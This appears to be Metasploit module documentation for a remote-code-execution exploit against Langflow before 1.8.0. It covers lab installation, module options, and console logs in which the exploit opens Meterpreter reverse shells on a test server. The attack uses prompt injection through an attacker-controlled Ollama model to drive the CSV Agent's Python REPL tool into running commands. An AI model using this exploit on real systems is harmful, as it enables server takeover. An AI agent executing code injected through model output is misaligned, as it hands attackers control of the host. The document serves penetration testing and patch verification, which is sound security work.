## Vulnerable Application

The CSV Agent node in Langflow hardcodes allow_dangerous_code=True,
which automatically exposes LangChain’s Python REPL tool (python_repl_ast).
As a result, an attacker can execute arbitrary Python and OS commands on the server via prompt injection,
leading to full Remote Code Execution (RCE).

The vulnerability affects:

    * Langflow < 1.8.0

This module was successfully tested on:

    * Langflow 1.7.3 installed with Docker


### Installation
1. `git clone https://github.com/langflow-ai/langflow.git`

2. `git checkout 1.7.3`

3. `cd langflow/docker_example`

4. `Edit docker-compose.yml`
```
 services:
   langflow:
-    image: langflowai/langflow:latest # or another version tag on https://hub.docker.com/r/langflowai/langflow
-    pull_policy: always               # set to 'always' when using 'latest' image
+    # image: langflowai/langflow:latest # or another version tag on https://hub.docker.com/r/langflowai/langflow
+    image: langflowai/langflow:1.7.3 # or another version tag on https://hub.docker.com/r/langflowai/langflow
+    # pull_policy: always               # set to 'always' when using 'latest' image
     ports:
       - "7860:7860"
     depends_on:
@@ -11,7 +12,7 @@ services:
       # This variable defines where the logs, file storage, monitor data and secret keys are stored.
       - LANGFLOW_CONFIG_DIR=/app/langflow
     volumes:
-      - langflow-data:/app/langflow
+      - langflow-data:/app
 
   postgres:
     image: postgres:16
```

5. `docker compose up`

6. `On an attacker machine`
```
curl -fsSL https://ollama.com/install.sh | sh
ollama run llama3.1
```


## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/langflow_rce_cve_2026_27966`
4. Do: `run lhost=<lhost> rhost=<rhost> ollamaapiuri=<ollamaapiuri> apikey=<apikey> model=<model>`
5. You should get a meterpreter


## Options

### APIKEY (required)

Langflow API key to interact with Langflow.

### OLLAMAAPIURI (required)

Endpoint of the OLLAMA API controlled by an attacker.

### MODEL (required)

Valid ollama model name.


## Scenarios

### cmd/linux/http/x64/meterpreter_reverse_tcp
```
msf > use exploit/multi/http/langflow_rce_cve_2026_27966
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
msf exploit(multi/http/langflow_rce_cve_2026_27966) > options

Module options (exploit/multi/http/langflow_rce_cve_2026_27966):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   APIKEY                         yes       Langflow API key to interact with Langflow.
   MODEL                          yes       Valid ollama model name.
   OLLAMAAPIURI                   yes       Endpoint of the OLLAMA API controlled by an attacker.
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5h, sapni, socks4, socks5, http
   RHOSTS                         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT         7860             yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                          no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE    true             yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh) (Ac
                                              cepted: none, python3.8+, shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH                    no        Local URI to use for serving payload
   LHOST                            yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port


   When FETCH_COMMAND is one of CURL,GET,WGET:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  false            yes       Host both the binary payload and the command so it can be piped directly to the shell.


   When FETCH_FILELESS is none:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      yVhDYYwMmZm      no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces


Exploit target:

   Id  Name
   --  ----
   0   Linux Command



View the full module info with the info, or info -d command.

msf exploit(multi/http/langflow_rce_cve_2026_27966) > run rhost=192.168.56.16 lhost=192.168.56.1 ollamaapiuri=http://192.168.56.1:11434 apikey=<apikey> model=llama3.1:latest payl
oad=cmd/linux/http/x64/meterpreter_reverse_tcp target=Linux\ Command
[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 1.7.3 detected and API key is valid. Which is vulnerable.
[*] Project: 367f399f-6f17-43a2-bea0-33183baae731
[*] Flow: 42098574-2343-4b8a-97fe-0e2800270087
[*] Job: 014b3154-e882-4649-9c16-5f25e4c358d9
[*] Waiting...
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:59440) at 2026-04-18 12:31:49 +0900

meterpreter > getuid
Server username: user
meterpreter > sysinfo
Computer     : d513d5e46402
OS           : Debian 13.3 (Linux 6.8.0-56-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 
```

### python/meterpreter/reverse_tcp
```
msf exploit(multi/http/langflow_rce_cve_2026_27966) > run rhost=192.168.56.16 lhost=192.168.56.1 ollamaapiuri=http://192.168.56.1:11434 apikey=<apikey> model=llama3.1:latest payload=python/meterpreter/reverse_tcp target=Python\ payload
[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 1.7.3 detected and API key is valid. Which is vulnerable.
[*] Project: 146bfdff-95cc-4e43-b0f2-dbdaa6916401
[*] Flow: 497484a7-6f39-4418-8113-aba0c2f57a3b
[*] Job: 0e4282ad-bf9d-4079-891b-81a2ccb8dbe8
[*] Waiting...
[*] Sending stage (23404 bytes) to 192.168.56.16
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:47988) at 2026-04-18 12:48:07 +0900

meterpreter > getuid
Server username: user
meterpreter > sysinfo
Computer        : d513d5e46402
OS              : Linux 6.8.0-56-generic #58-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 14 15:33:28 UTC 2025
Architecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter > 
```
